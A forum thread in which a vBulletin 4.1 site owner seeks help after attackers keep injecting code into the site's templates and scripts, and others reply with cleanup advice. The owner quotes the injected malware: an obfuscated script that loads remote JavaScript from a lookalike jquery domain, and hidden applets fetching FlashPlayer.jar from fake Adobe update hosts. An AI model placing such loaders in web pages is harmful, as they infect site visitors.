[Forum] My Vb4.1 was hacked !!! Please Help

[chithanh]

Anyone please help me. Hacker add this scripts to my clientscript folder. Also they add to my style and templates. I don't know how they do it but I did change mod everything to 555 but they still add these code on my site.

<script>var y ="jquery";var z = "plugins";var x ="http://";var t = ".org";var w = "jquery14";var u="script";document.write("<"+u+ " src=\""+ x + y + z + t + "/"+w+".js\""+">"+"</"+u+">");</script>


Please help me, I am so tired. Anyone know where is style and templates store on server ? I need to change it permission.

[icarusforde]

1. Re-upload all files in your root directory.
2. Run this mod: http://www.vbulletin.org/forum/showthread.php?t=220967 (Yes, I know it's a 3.8 mod, but it works on 4.0)
3. Change all passwords (FTP, Admin Accounts, cPanel, Database PW's, etc)
4. Good luck.

[chithanh]

thank you so much , I will try it.

[icarusforde]

No problems. It sucks having that feeling that someone else has been in your stuff.

[chithanh]

They still can get to my site. I think this is VB4 problem because they can login to any admin username.
I did change all my password. Also I deleted all files, then I upload VB4 again but some how they can access to admin account. I don't know what to do.

[djilou]

Protect your admincp folder with an htaccess htpasswd files

[Loco.M]

are you on a shared server?

[samii]

They still can get to my site. I think this is VB4 problem because they can login to any admin username.
I did change all my password. Also I deleted all files, then I upload VB4 again but some how they can access to admin account. I don't know what to do.

change admincp location, and rename the folder

[chithanh]

I am run my own the server host by the planet. I did change my admincp but they know my password right after I change it. They insert this html code to my script. I don't know what they try to do

<script>var y ="jquery";var z = "plugins";var x ="http://";var t = ".org";var w = "jquery14";var u="script";document.write("<"+u+ " src=\""+ x + y + z + t + "/"+w+".js\""+">"+"</"+u+">");</script>

<applet code="FlashPlayer.class" width="1" height="1" archive="http://adobe-upgrade.com/FlashPlayer.jar">
<param NAME="_cx" VALUE="26">
<param NAME="_cy" VALUE="26">
</applet><applet code="FlashPlayer.class" width="1" height="1" archive="http://flash-update.info/FlashPlayer.jar">
<param NAME="_cx" VALUE="26">
<param NAME="_cy" VALUE="26">
</applet>

[jhabers]

I bet its your hosting company that is using unpatched/vulnerable software....either apache or a known linux kernal bug. Call them and tell them to update their stuff

[Al Zander]

If you are noticing that the script is installed as soon as you upload new files and change your passwords, it is possible that you are uploading the script yourself. In other words, the trojan may be on your local computer. Run an antivirus scan (like Eset's Online Scanner - free), then download a fresh set of vB files from your Members' Area and upload those as suggested above. If you are infected locally, however, you can keep uploading new files until the cows come how and it won't do one bit of good. Also, are you replacing just the vBulletin files on your server? Have you inspected other non-vB files?

[GRABALANE]

are you on a shared server?

is that a bad thing if you are?

I am, does that put me at risk?

[beishe8]

is that a bad thing if you are?

I am, does that put me at risk?

No,it does not,provided you have a good host.

[chithanh]

I will try again with another computer. May be my computer to upload a virus file. I will redo everything to see what is wrong.

[TheHeartSmasher]

Also make sure that you do not have any files or folders with 777 permissions.